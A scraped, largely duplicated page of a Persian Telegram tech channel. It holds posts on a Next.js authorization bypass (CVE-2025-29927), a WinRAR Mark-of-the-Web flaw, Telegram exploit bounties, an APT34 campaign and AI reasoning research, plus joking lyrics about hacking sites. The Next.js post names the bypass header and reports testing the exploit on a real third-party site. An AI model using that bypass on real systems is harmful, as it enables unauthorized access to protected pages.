https://barnamenevisimoonnashe.ir/podcast/%D8%A8%D8%B2%D9%86%D9%85-%D8%B3%D8%A7%DB%8C%D8%AA-%D8%AF%D8%B1-%D8%A8%DB%8C%D8%A7%D8%AF/
برنامه نویسیمون نشه
بزنم سایت در بیاد - برنامه نویسیمون نشه
بیا باهم کد بزنیم که من دوست دارم کد زن زیادصبح تا شب کد بزنیم شب بزنم سایت در بیادبعد بیا باهم بریم خونه بزنیم سایت هک کنیمهرچی بیشتر وری بری بام میکشم کمتر سیگاربیا باهم اسرائیل هک کنیمتو با این مهارتت میشه یه دنیارو باهاش هک کنی
This media is not supported in your browser
VIEW IN TELEGRAM
#CVE-2025-29927 #Node.js
آسیب پذیری #Bypass_Authorization برای Node.js روی یکی از سایت های برگزار کننده دوره های امنیتی که بواسطه اکسپلویت زیر کشف شد و البته در ویدیو نیز بصورت دستی تست انجام شده است.
این آسیب پذیری ظرفیت دور زدن هر صفحه ای که دارای کنترل سطح دسترسی هست رو داره، اما در تصویر مربوطه هدف بیرون کشیدن اطلاعات حساس نبوده و صرفا گوش زد وجود یک آسیب پذیری بوده است.
https://gist.github.com/a9v8i/91b3f669c1b1927b540a54cbcc8481a5
آسیب پذیری #Bypass_Authorization برای Node.js روی یکی از سایت های برگزار کننده دوره های امنیتی که بواسطه اکسپلویت زیر کشف شد و البته در ویدیو نیز بصورت دستی تست انجام شده است.
این آسیب پذیری ظرفیت دور زدن هر صفحه ای که دارای کنترل سطح دسترسی هست رو داره، اما در تصویر مربوطه هدف بیرون کشیدن اطلاعات حساس نبوده و صرفا گوش زد وجود یک آسیب پذیری بوده است.
https://gist.github.com/a9v8i/91b3f669c1b1927b540a54cbcc8481a5
📅 برنامه LinuxFest منتشر شد! 🚀 🐧
سه روز پر از یادگیری و تجربه با بهترینهای دنیای لینوکس، متنباز، داکر، کوبرنتیز، امنیت و DevOps!
🔹 📅 تاریخ: ۲۰ تا ۲۲ فروردین ماه
🔹📍 مکان: دانشگاه صنعتی امیرکبیر
🔹 ⏳ ظرفیت محدود! همین الان ثبتنام کنید!
🔉 اطلاعات بیشتر و ثبت نام: linux-fest.ir
سه روز پر از یادگیری و تجربه با بهترینهای دنیای لینوکس، متنباز، داکر، کوبرنتیز، امنیت و DevOps!
🔹 📅 تاریخ: ۲۰ تا ۲۲ فروردین ماه
🔹📍 مکان: دانشگاه صنعتی امیرکبیر
🔹 ⏳ ظرفیت محدود! همین الان ثبتنام کنید!
🔉 اطلاعات بیشتر و ثبت نام: linux-fest.ir
This media is not supported in your browser
VIEW IN TELEGRAM
دیتای صفر و یکی از نگاه فیزیک:
شاید مثل من دوست داشته باشید در ساختار مموری ها ریز بشید تا بفهمید چطوری دیتا به صورت صفر و یکی ذخیره میشه. این توضیحی که میگم فقط مختص حافظه های Flash و RAM هست و حافظه های مغناطیسی مکانیسمشون متفاوت هست.
در هر سلول حافظهی Flash یک ترانزیستور و در حافظهی RAM یک ترانزیستور و یا یک خازن در ابعاد نانومتر وجود داره که وقتی الکترون ها داخلشون وجود دارند حالت شارژ (۱) هستند و وقتی خالی از الکترون هستند در حالت دشارژ (۰) هستند؛ کل پروسه هم توسط جریان برق انجام میشه.
چطوری ترانزیستور و خازن به این ریزی در سلول ها جا شده؟!
فناوری میکروالکترونیک به طراحان این امکان رو میده که اجزای الکتریکی رو در مقیاس نانو تولید کنند!
حالا حساب کنیم چند تا ترانزیستور در یک فلش ۴ گیگابایتی وجود داره؟
هر گیگابایت معادل دو به توان ۳۰ بایت هست و هر بایت هم ۸ بیت هست، اگر طراحی حافظه طوری باشه که هر سلول توانایی نگهداری یک بیت رو داشته باشه در نتیجه معادل ۳۲ ضربدر دو به توان ۳۰ تا سلول داریم که به همین تعداد هم ترانزیستور داریم! خودتون بزرگی این عدد رو مجسم کنید تو ذهنتون!
اصلی ترین مادهی مورد استفاده در ترانزیستورها سیلیکون هست که یک مادهی نیمه هادی محسوب میشه.
⚠️ اگر جایی رو اشتباه گفتم بهم ایمیل بزنید بگید، من محاسباتم رو اونقدر درآوردم واسه یه فلش ۴ گیگی.
amirrezvanimhr@gmail.com
#فیزیک
#کامپیوتر
شاید مثل من دوست داشته باشید در ساختار مموری ها ریز بشید تا بفهمید چطوری دیتا به صورت صفر و یکی ذخیره میشه. این توضیحی که میگم فقط مختص حافظه های Flash و RAM هست و حافظه های مغناطیسی مکانیسمشون متفاوت هست.
در هر سلول حافظهی Flash یک ترانزیستور و در حافظهی RAM یک ترانزیستور و یا یک خازن در ابعاد نانومتر وجود داره که وقتی الکترون ها داخلشون وجود دارند حالت شارژ (۱) هستند و وقتی خالی از الکترون هستند در حالت دشارژ (۰) هستند؛ کل پروسه هم توسط جریان برق انجام میشه.
چطوری ترانزیستور و خازن به این ریزی در سلول ها جا شده؟!
فناوری میکروالکترونیک به طراحان این امکان رو میده که اجزای الکتریکی رو در مقیاس نانو تولید کنند!
حالا حساب کنیم چند تا ترانزیستور در یک فلش ۴ گیگابایتی وجود داره؟
هر گیگابایت معادل دو به توان ۳۰ بایت هست و هر بایت هم ۸ بیت هست، اگر طراحی حافظه طوری باشه که هر سلول توانایی نگهداری یک بیت رو داشته باشه در نتیجه معادل ۳۲ ضربدر دو به توان ۳۰ تا سلول داریم که به همین تعداد هم ترانزیستور داریم! خودتون بزرگی این عدد رو مجسم کنید تو ذهنتون!
اصلی ترین مادهی مورد استفاده در ترانزیستورها سیلیکون هست که یک مادهی نیمه هادی محسوب میشه.
⚠️ اگر جایی رو اشتباه گفتم بهم ایمیل بزنید بگید، من محاسباتم رو اونقدر درآوردم واسه یه فلش ۴ گیگی.
amirrezvanimhr@gmail.com
#فیزیک
#کامپیوتر
‼️تلگرام را هککنید و تا ۴ میلیون دلار جایزه بگیرید.
⭕️ طبق اعلام شرکت، Operation Zero مبلغ ۵۰۰ هزار دلار برای آسیبپذیری «اجرای کد از راه دور» (RCE) با یک کلیک، ۱.۵ میلیون دلار برای نوع بدون کلیک (Zero-Click RCE) و تا ۴ میلیون دلار برای مجموعهای از آسیبپذیریهای زنجیرهای که میتواند کنترل کامل دستگاه کاربر را به هکرها بدهد، پیشنهاد داده است
⭕️ طبق اعلام شرکت، Operation Zero مبلغ ۵۰۰ هزار دلار برای آسیبپذیری «اجرای کد از راه دور» (RCE) با یک کلیک، ۱.۵ میلیون دلار برای نوع بدون کلیک (Zero-Click RCE) و تا ۴ میلیون دلار برای مجموعهای از آسیبپذیریهای زنجیرهای که میتواند کنترل کامل دستگاه کاربر را به هکرها بدهد، پیشنهاد داده است
یک بردار حمله جدید از طریق بایگانی محبوب WinRAR کشف شده است.
⚠️ یک آسیب پذیری در بایگانی WinRAR کشف شده است که به شما امکان می دهد مکانیسم امنیتی "Mark of the Web" ویندوز را دور بزنید. این مشکل تمام نسخههای بایگانی محبوب تا 7.11 را تحت تأثیر قرار میدهد و مهاجمان میتوانند از آن برای اجرای کدهای مخرب بدون هشدار سیستم استفاده کنند.
🔍 این آسیب پذیری شناسه CVE-2025-31334 و امتیاز CVSS 6.8 را دریافت کرده است. هنگام باز کردن یک پیوند نمادین به یک فایل اجرایی در بایگانی، ویندوز اخطار استاندارد در مورد اجرای فایل دانلود شده از اینترنت را نمایش نمی دهد، که حملات مهندسی اجتماعی را به ویژه خطرناک می کند.
🛡 توسعه دهنده WinRAR، RARLAB، به روز رسانی را منتشر کرده است که آسیب پذیری کشف شده را برطرف می کند. اکیداً به همه کاربران توصیه می شود که به نسخه 7.11 یا بالاتر به روز رسانی کنند و قبل از باز کردن آرشیوها با راه حل های آنتی ویروس اسکن کنند.
⚠️ یک آسیب پذیری در بایگانی WinRAR کشف شده است که به شما امکان می دهد مکانیسم امنیتی "Mark of the Web" ویندوز را دور بزنید. این مشکل تمام نسخههای بایگانی محبوب تا 7.11 را تحت تأثیر قرار میدهد و مهاجمان میتوانند از آن برای اجرای کدهای مخرب بدون هشدار سیستم استفاده کنند.
🔍 این آسیب پذیری شناسه CVE-2025-31334 و امتیاز CVSS 6.8 را دریافت کرده است. هنگام باز کردن یک پیوند نمادین به یک فایل اجرایی در بایگانی، ویندوز اخطار استاندارد در مورد اجرای فایل دانلود شده از اینترنت را نمایش نمی دهد، که حملات مهندسی اجتماعی را به ویژه خطرناک می کند.
🛡 توسعه دهنده WinRAR، RARLAB، به روز رسانی را منتشر کرده است که آسیب پذیری کشف شده را برطرف می کند. اکیداً به همه کاربران توصیه می شود که به نسخه 7.11 یا بالاتر به روز رسانی کنند و قبل از باز کردن آرشیوها با راه حل های آنتی ویروس اسکن کنند.
#CVE-2025-29927 #Bypass_Authorization
آسیب پذیری Bypass Authorization که برای Next.js در نسخه های زیر 13.5.6 و 14.2.25 و 15.2.3 آمده است.
ماجرا از این قرار که Middleware های طراحی شده در Next.js امکان اعمال تغییر در درخواست دریافتی را دارند، قبل از اینکه پارسر کد درخواست رو تحویل بگیره.
دور زدن مکانیزم کنترل سطح دسترسی یا Authorization زمانی انجام میشود که در درخواست ارسالی Header با نام
اگر Header با نام
مقدار
آسیب پذیری Bypass Authorization که برای Next.js در نسخه های زیر 13.5.6 و 14.2.25 و 15.2.3 آمده است.
ماجرا از این قرار که Middleware های طراحی شده در Next.js امکان اعمال تغییر در درخواست دریافتی را دارند، قبل از اینکه پارسر کد درخواست رو تحویل بگیره.
دور زدن مکانیزم کنترل سطح دسترسی یا Authorization زمانی انجام میشود که در درخواست ارسالی Header با نام
x-middleware-subrequest
تنظیم شده که بدان معنی است درخواست به Middleware تحویل داده شود و در شرط خط 707 اومده که زمانی که نام middleware
در آرایه subrequests
قرار داشته باشه پاسخ از نوع ()NextResponse.next
برگشت داده شده و عملیات همزمان با ()Promise.resolve
ادامه پیدا خواهد کرد.اگر Header با نام
x-middleware-subrequest
تعریف شده باشه، Middleware بررسی امنیتی رو نادیده گرفته و درخواست رو به مقصد اصلی هدایت خواهد کرد که اینجا آسیب پذیری رخ خواهد داد.مقدار
MiddlewareInfo.name
میتونه بدست بیاد و مسیر Middleware
امکان تشخیص رو داشته چرا که در مسیریابی pages و با نام middleware.ts_
قرار داشته است.GitHub
Authorization Bypass in Next.js Middleware
# Impact
It is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware.
# Patches
* For Next.js 15.x, this issue is fixed in `15.2...
It is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware.
# Patches
* For Next.js 15.x, this issue is fixed in `15.2...
👍1
حقیقتا مدلهای زبانی چطور فکر میکنن؟ 🤔
این همه از مدل های LLM و چت بات ها صحبت میکنیم اما جواب یکی از بنیادی ترین سوال های این زمینه رو هنوز نمیدونم. اینکه مدل ها چطور فکر میکنن؟
جدیدا Anthopic طی دو تحقیق اومده این موضوع رو بررسی کرده:
این تحقیق مهم و ارزشمنده، من در ادامه خلاصه این تحقیق رو میگم.
زمان آموزش مدل ها خودشون یاد میگیرن که چطور مسائل رو حل کنن. این یادگیری توی میلیاردها محاسبهای که موقع نوشتن هر کلمه انجام میدن ذخیره میشه. اما نکته اینجاست که حتی توسعهدهندههای این مدلها دقیقاً نمیدونن که چطور به این نتایج میرسن! یعنی ما واقعاً نمیدونیم که مدلی مثل Claude 3.5 چطور کارهای مختلفش رو انجام میده.
سوالات اساسی:
🔹مدل Claude میتونه به چندین زبان صحبت کنه، اما داخل ذهنش از چه زبانی استفاده میکنه؟
🔹 مدل Claude کلمهبهکلمه متن مینویسه. آیا فقط کلمهی بعدی رو حدس میزنه یا برای جملات بعدی هم برنامهریزی میکنه؟
🔹 وقتی کلود استدلال خودش رو مرحلهبهمرحله توضیح میده، آیا واقعاً همون روشی رو که طی کرده میگه یا فقط یه توضیح قانعکننده میسازه؟
انتروپیک میگه:
ما از حوزهی Neuroscience (علوم اعصاب) الهام گرفتیم و دنبال این هستیم که یه چیزی مثل "میکروسکوپ هوش مصنوعی" (AI Microscope) بسازیم تا بتونیم الگوهای فعالیت و جریان اطلاعات داخل مدل رو ببینیم.
🔹 تحلیل مدارهای محاسباتی مدل (Computational Circuits)
قبلاً فهمیده بودیم که داخل مدل مفاهیمی قابل تفسیر (Features) وجود دارن. حالا این مفاهیم رو بهم متصل کردیم تا ببینیم چطور مسیر پردازش ورودیها به خروجی شکل میگیره.
🔹 مطالعهی مدل Claude 3.5 Haiku
بررسی کردیم که مدل چطور وظایف مهم رو انجام میده. مثلاً چطور فکر میکنه، برنامهریزی میکنه، و حتی گاهی چطور سعی میکنه جواب موردنظر کاربر رو ارائه بده، حتی اگه جوابش منطقی نباشه (Bias Towards Agreement).
یافتههای این تحقیقات اینا هستن:
زبان درونی مشترک (Universal Language of Thought):
مدل ظاهراً یه زبان مفهومی داره که بین زبانهای مختلف مشترکه. اینو با ترجمهی جملات به چند زبان مختلف و تحلیل نحوهی پردازششون فهمیدن.
برنامهریزی برای نوشتن (Pre-Planning in Text Generation):
مدل وقتی شعر مینویسه، قبل از نوشتن خط بعدی، قافیهی موردنظرش رو انتخاب میکنه و جمله رو طوری میسازه که به اون قافیه ختم بشه. این نشون میده که حتی اگه مدلها کلمهبهکلمه خروجی تولید کنن، ممکنه به صورت بلندمدت فکر کنن.
دلیلتراشی به جای استدلال واقعی (Motivated Reasoning):
مدل گاهی به جای اینکه واقعاً یه مسئله رو حل کنه، جوابی که کاربر انتظار داره رو توجیه میکنه. مثلاً وقتی یه مسئلهی سخت ریاضی رو با یه راهنمایی غلط بهش میدیم، به جای اینکه خطای راهنمایی رو تشخیص بده، یه استدلال جعلی برای رسیدن به اون نتیجه میسازه.
توهمات (Hallucinations):
مدلها ذاتاً تمایل دارن همیشه یه جوابی بدن. اما توی Claude یه مکانیسم پیشفرض برای "رد کردن پاسخ" (Refusal Mechanism) وجود داره که باعث میشه وقتی اطلاعات کافی نداره، جواب نده. ولی وقتی فکر میکنه یه اسم رو میشناسه، این مکانیسم سرکوب میشه و حتی اگه اطلاعات واقعی نداشته باشه، یه جواب ساختگی تولید میکنه.
حملات Jailbreak:
توی تستها دیده شده که مدل قبل از اینکه بتونه جواب رو سانسور کنه، متوجه میشه که یه درخواست خطرناک دریافت کرده. این نشون میده که مدل یه سطح از آگاهی امنیتی داره، ولی همیشه نمیتونه جلوی خروجی نامطلوب رو بگیره.
این تحقیقات نشون میده که هنوز خیلی چیزا دربارهی AI Interpretability (قابلیت تفسیر مدلهای هوش مصنوعی) نمیدونیم. مدلها خیلی پیچیدهتر از چیزی هستن که فقط از روی خروجیهاشون بشه فهمید چطور کار میکنن.
با این حال، این روشهای جدید میتونن به شفافتر کردن عملکرد مدلها کمک کنن و باعث بشن AI قابل اعتمادتر بشه.
این همه از مدل های LLM و چت بات ها صحبت میکنیم اما جواب یکی از بنیادی ترین سوال های این زمینه رو هنوز نمیدونم. اینکه مدل ها چطور فکر میکنن؟
جدیدا Anthopic طی دو تحقیق اومده این موضوع رو بررسی کرده:
این تحقیق مهم و ارزشمنده، من در ادامه خلاصه این تحقیق رو میگم.
زمان آموزش مدل ها خودشون یاد میگیرن که چطور مسائل رو حل کنن. این یادگیری توی میلیاردها محاسبهای که موقع نوشتن هر کلمه انجام میدن ذخیره میشه. اما نکته اینجاست که حتی توسعهدهندههای این مدلها دقیقاً نمیدونن که چطور به این نتایج میرسن! یعنی ما واقعاً نمیدونیم که مدلی مثل Claude 3.5 چطور کارهای مختلفش رو انجام میده.
سوالات اساسی:
🔹مدل Claude میتونه به چندین زبان صحبت کنه، اما داخل ذهنش از چه زبانی استفاده میکنه؟
🔹 مدل Claude کلمهبهکلمه متن مینویسه. آیا فقط کلمهی بعدی رو حدس میزنه یا برای جملات بعدی هم برنامهریزی میکنه؟
🔹 وقتی کلود استدلال خودش رو مرحلهبهمرحله توضیح میده، آیا واقعاً همون روشی رو که طی کرده میگه یا فقط یه توضیح قانعکننده میسازه؟
انتروپیک میگه:
ما از حوزهی Neuroscience (علوم اعصاب) الهام گرفتیم و دنبال این هستیم که یه چیزی مثل "میکروسکوپ هوش مصنوعی" (AI Microscope) بسازیم تا بتونیم الگوهای فعالیت و جریان اطلاعات داخل مدل رو ببینیم.
🔹 تحلیل مدارهای محاسباتی مدل (Computational Circuits)
قبلاً فهمیده بودیم که داخل مدل مفاهیمی قابل تفسیر (Features) وجود دارن. حالا این مفاهیم رو بهم متصل کردیم تا ببینیم چطور مسیر پردازش ورودیها به خروجی شکل میگیره.
🔹 مطالعهی مدل Claude 3.5 Haiku
بررسی کردیم که مدل چطور وظایف مهم رو انجام میده. مثلاً چطور فکر میکنه، برنامهریزی میکنه، و حتی گاهی چطور سعی میکنه جواب موردنظر کاربر رو ارائه بده، حتی اگه جوابش منطقی نباشه (Bias Towards Agreement).
یافتههای این تحقیقات اینا هستن:
زبان درونی مشترک (Universal Language of Thought):
مدل ظاهراً یه زبان مفهومی داره که بین زبانهای مختلف مشترکه. اینو با ترجمهی جملات به چند زبان مختلف و تحلیل نحوهی پردازششون فهمیدن.
برنامهریزی برای نوشتن (Pre-Planning in Text Generation):
مدل وقتی شعر مینویسه، قبل از نوشتن خط بعدی، قافیهی موردنظرش رو انتخاب میکنه و جمله رو طوری میسازه که به اون قافیه ختم بشه. این نشون میده که حتی اگه مدلها کلمهبهکلمه خروجی تولید کنن، ممکنه به صورت بلندمدت فکر کنن.
دلیلتراشی به جای استدلال واقعی (Motivated Reasoning):
مدل گاهی به جای اینکه واقعاً یه مسئله رو حل کنه، جوابی که کاربر انتظار داره رو توجیه میکنه. مثلاً وقتی یه مسئلهی سخت ریاضی رو با یه راهنمایی غلط بهش میدیم، به جای اینکه خطای راهنمایی رو تشخیص بده، یه استدلال جعلی برای رسیدن به اون نتیجه میسازه.
توهمات (Hallucinations):
مدلها ذاتاً تمایل دارن همیشه یه جوابی بدن. اما توی Claude یه مکانیسم پیشفرض برای "رد کردن پاسخ" (Refusal Mechanism) وجود داره که باعث میشه وقتی اطلاعات کافی نداره، جواب نده. ولی وقتی فکر میکنه یه اسم رو میشناسه، این مکانیسم سرکوب میشه و حتی اگه اطلاعات واقعی نداشته باشه، یه جواب ساختگی تولید میکنه.
حملات Jailbreak:
توی تستها دیده شده که مدل قبل از اینکه بتونه جواب رو سانسور کنه، متوجه میشه که یه درخواست خطرناک دریافت کرده. این نشون میده که مدل یه سطح از آگاهی امنیتی داره، ولی همیشه نمیتونه جلوی خروجی نامطلوب رو بگیره.
این تحقیقات نشون میده که هنوز خیلی چیزا دربارهی AI Interpretability (قابلیت تفسیر مدلهای هوش مصنوعی) نمیدونیم. مدلها خیلی پیچیدهتر از چیزی هستن که فقط از روی خروجیهاشون بشه فهمید چطور کار میکنن.
با این حال، این روشهای جدید میتونن به شفافتر کردن عملکرد مدلها کمک کنن و باعث بشن AI قابل اعتمادتر بشه.
گزارش جدیدی در مورد تهدیدات سایبری جمهوری اسلامی در ThreatBook منتشر شده. گروه APT34 (تحت حمایت جمهوری اسلامی) کمپین جدیدی را علیه نهادهای دولتی عراق راه انداخته است.
این گروه از سال ۲۰۱۲ فعال بوده و عمدتاً در خاورمیانه با استفاده از حملات فیشینگ هدفمند، به جمعآوری اطلاعات با ارزش و کنترل از راه دور سیستمها میپردازد. صنایع مورد هدف آنها شامل دولت، انرژی، مالی، مخابرات، هوانوردی، دفاع ملی، آموزش و صنایع شیمیایی است.
آنها از فایلهای PDF حاوی بدافزار که به عنوان فایلهای مرتبط با حقوق و دستمزد است، برای فریب قربانیان استفاده میکنند. وقتی فایل اجرا میشود، یک بکدور نصب میشود که قادر به جمعآوری اطلاعات سیستم، اجرای دستورات از راه دور، آپلود و دانلود فایلها و ایجاد پایداری در سیستم از طریق رجیستری است.
برای مخفی ماندن، این گروه هم از پروتکل HTTP و هم از ارتباطات ایمیلی با استفاده از صندوقهای پستی دولتی هکشده عراقی استفاده میکند. همچنین سرورهای C2 خود را در کشورهای اروپایی مستقر کرده و صفحات ۴۰۴ جعلی برای پنهان کردن فعالیتهای خود ایجاد میکنند.
برای اطلاعات بیشتر میتوانید گزارش کامل را در لینکهای زیر مطالعه کنید:
https://threatbook.io/blog/id/1101
https://threatbook.io/ip/89.46.233.239
#APT34 #OilRig
این گروه از سال ۲۰۱۲ فعال بوده و عمدتاً در خاورمیانه با استفاده از حملات فیشینگ هدفمند، به جمعآوری اطلاعات با ارزش و کنترل از راه دور سیستمها میپردازد. صنایع مورد هدف آنها شامل دولت، انرژی، مالی، مخابرات، هوانوردی، دفاع ملی، آموزش و صنایع شیمیایی است.
آنها از فایلهای PDF حاوی بدافزار که به عنوان فایلهای مرتبط با حقوق و دستمزد است، برای فریب قربانیان استفاده میکنند. وقتی فایل اجرا میشود، یک بکدور نصب میشود که قادر به جمعآوری اطلاعات سیستم، اجرای دستورات از راه دور، آپلود و دانلود فایلها و ایجاد پایداری در سیستم از طریق رجیستری است.
برای مخفی ماندن، این گروه هم از پروتکل HTTP و هم از ارتباطات ایمیلی با استفاده از صندوقهای پستی دولتی هکشده عراقی استفاده میکند. همچنین سرورهای C2 خود را در کشورهای اروپایی مستقر کرده و صفحات ۴۰۴ جعلی برای پنهان کردن فعالیتهای خود ایجاد میکنند.
برای اطلاعات بیشتر میتوانید گزارش کامل را در لینکهای زیر مطالعه کنید:
https://threatbook.io/blog/id/1101
https://threatbook.io/ip/89.46.233.239
#APT34 #OilRig
Forwarded from هشتگ تبلیغ تخصصی
📚 دورهای جامع از پایه تا پیشرفته
👨💻 همراه با پروژههای واقعی و چالشهای عملی
🏆 و در پایان، شرکت در بزرگترین رقابت هوش مصنوعی کشور!
🎯 این مسیر برای توئه اگه:
🌟 تازهکاری و دنبال یادگیری اصولی هستی
🌟 یا حرفهای هستی و آمادهای وارد رقابت بشی!
✨ مزایای ویژه:
📍 همین حالا ثبتنام کن و آینده حرفهایت رو بساز!
🧑💻@iaaa_event
🔸 پشتیبانی:
📞 02191096992
Please open Telegram to view this post
VIEW IN TELEGRAM
System 2 LLM or AI
لبه دانش هوش مصنوعی اینجاست!
مدل های جدید مثل o1-preview و o1-mini میتونن اولین نسخههای موفق System 2 LLM در دنیای تجاری باشن. حالا System 2 یعنی چی؟ این مفهوم رو دنیل کانمن تو کتاب معروفش "تفکر، سریع و کند" (2011) مطرح کرد. خیلی خلاصه بخوایم بگیم:
سیستم 1 یعنی جوابهای آنی و سریع که بیشتر از روی شهود میان
اما سیستم 2 یعنی فکر کردن با تأمل و دقت، که معمولاً زمانبره.
ما از زمانی که ChatGPT اومد (نوامبر 2022)، بیشتر با مدلهای System 1 سروکار داشتیم. این مدلها مستقیم به یه سوال یا prompt جواب میدن. اما مدلهای System 2 برعکس، یه فرآیند تحلیلی و دقیق رو طی میکنن، مسائل پیچیده رو به قسمتهای کوچکتر میشکنن و مرحله به مرحله به جواب میرسن.
البته هنوزم این تفکر خیلی مثل انسان واقعی نیست، ولی نسبت به چیزی که قبلاً بود، خیلی پیشرفت کرده. برای همین هم خیلیا OpenAI o1 رو اولین مدل AI میدونن که واقعاً میتونه reasoning انجام بده (یعنی استدلال کنه).
توی داکیومنتهای OpenAI اومده که این مدلهای جدید از چیزی به اسم reasoning tokens استفاده میکنن که بخشی از روش معروف Chain of Thought (CoT) هست.
یه چیز دیگه هم که بهش اشاره شده اینه که دارن از Reinforcement Learning (RL) برای بهبود فرآیند thinking استفاده میکنن.
الان دقیق مشخص نیست که OpenAI از چه تکنیکهایی استفاده کرده، ولی با توجه به مقالههای جدید، میشه حدسهایی زد:
Chain of Thought (2022)
https://arxiv.org/abs/2201.11903
Tree of Thoughts (2023)
https://arxiv.org/abs/2305.10601
Branch-Solve-Merge (2023)
https://arxiv.org/abs/2310.15123
System 2 Attention (2023)
https://arxiv.org/abs/2311.11829
Rephrase and Respond (2023)
https://arxiv.org/abs/2311.04205
اینا همه روشهایی هستن که کمک میکنن یه مدل System 2 بتونه مثل یه انسان، برنامهریزی کنه، مسئله رو تجزیه و تحلیل کنه و سناریوهای مختلف رو بررسی کنه.
مدلهای System 2 که بهشون میگن CoT-enabled LLMs توی کارهایی که قبلاً هیچوقت انجام نشده و نیاز به استدلال دارن، فوقالعاده عمل میکنن.
این مدلها از چیزی به اسم reasoning tokens استفاده میکنن که به مدل کمک میکنه برای خودش مراحل منطقی برنامهریزی کنه. حتی ممکنه خروجیهای موقتی بسازه که کاربر نمیبینه.
OpenAI تصمیم گرفته یه بخشهایی از این تفکر رو به زبان خودمونی نشون بده. مثلاً میتونی عباراتی مثل:
"First"، "Next"، "Hmm"، "Let’s test this theory"، "Alternatively"، و "That seems unlikely" رو توی خروجی مدل ببینی.
البته اینا در واقع system tokens هستن که مدل ازشون برای هدایت مسیر فکر کردن استفاده میکنه، ولی برای اینکه برای کاربر قابل فهم باشن، به زبان انسان نشون داده میشن.
دوست داشتین در ادامه در مورد Reasoning Token بیشتر میگم
System 2 LLM or AI
لبه دانش هوش مصنوعی اینجاست!
مدل های جدید مثل o1-preview و o1-mini میتونن اولین نسخههای موفق System 2 LLM در دنیای تجاری باشن. حالا System 2 یعنی چی؟ این مفهوم رو دنیل کانمن تو کتاب معروفش "تفکر، سریع و کند" (2011) مطرح کرد. خیلی خلاصه بخوایم بگیم:
سیستم 1 یعنی جوابهای آنی و سریع که بیشتر از روی شهود میان
اما سیستم 2 یعنی فکر کردن با تأمل و دقت، که معمولاً زمانبره.
ما از زمانی که ChatGPT اومد (نوامبر 2022)، بیشتر با مدلهای System 1 سروکار داشتیم. این مدلها مستقیم به یه سوال یا prompt جواب میدن. اما مدلهای System 2 برعکس، یه فرآیند تحلیلی و دقیق رو طی میکنن، مسائل پیچیده رو به قسمتهای کوچکتر میشکنن و مرحله به مرحله به جواب میرسن.
البته هنوزم این تفکر خیلی مثل انسان واقعی نیست، ولی نسبت به چیزی که قبلاً بود، خیلی پیشرفت کرده. برای همین هم خیلیا OpenAI o1 رو اولین مدل AI میدونن که واقعاً میتونه reasoning انجام بده (یعنی استدلال کنه).
توی داکیومنتهای OpenAI اومده که این مدلهای جدید از چیزی به اسم reasoning tokens استفاده میکنن که بخشی از روش معروف Chain of Thought (CoT) هست.
یه چیز دیگه هم که بهش اشاره شده اینه که دارن از Reinforcement Learning (RL) برای بهبود فرآیند thinking استفاده میکنن.
الان دقیق مشخص نیست که OpenAI از چه تکنیکهایی استفاده کرده، ولی با توجه به مقالههای جدید، میشه حدسهایی زد:
Chain of Thought (2022)
https://arxiv.org/abs/2201.11903
Tree of Thoughts (2023)
https://arxiv.org/abs/2305.10601
Branch-Solve-Merge (2023)
https://arxiv.org/abs/2310.15123
System 2 Attention (2023)
https://arxiv.org/abs/2311.11829
Rephrase and Respond (2023)
https://arxiv.org/abs/2311.04205
اینا همه روشهایی هستن که کمک میکنن یه مدل System 2 بتونه مثل یه انسان، برنامهریزی کنه، مسئله رو تجزیه و تحلیل کنه و سناریوهای مختلف رو بررسی کنه.
مدلهای System 2 که بهشون میگن CoT-enabled LLMs توی کارهایی که قبلاً هیچوقت انجام نشده و نیاز به استدلال دارن، فوقالعاده عمل میکنن.
این مدلها از چیزی به اسم reasoning tokens استفاده میکنن که به مدل کمک میکنه برای خودش مراحل منطقی برنامهریزی کنه. حتی ممکنه خروجیهای موقتی بسازه که کاربر نمیبینه.
OpenAI تصمیم گرفته یه بخشهایی از این تفکر رو به زبان خودمونی نشون بده. مثلاً میتونی عباراتی مثل:
"First"، "Next"، "Hmm"، "Let’s test this theory"، "Alternatively"، و "That seems unlikely" رو توی خروجی مدل ببینی.
البته اینا در واقع system tokens هستن که مدل ازشون برای هدایت مسیر فکر کردن استفاده میکنه، ولی برای اینکه برای کاربر قابل فهم باشن، به زبان انسان نشون داده میشن.
دوست داشتین در ادامه در مورد Reasoning Token بیشتر میگم
arXiv.org
Chain-of-Thought Prompting Elicits Reasoning in Large Language Models
We explore how generating a chain of thought -- a series of intermediate reasoning steps -- significantly improves the ability of large language models to perform complex reasoning. In particular,...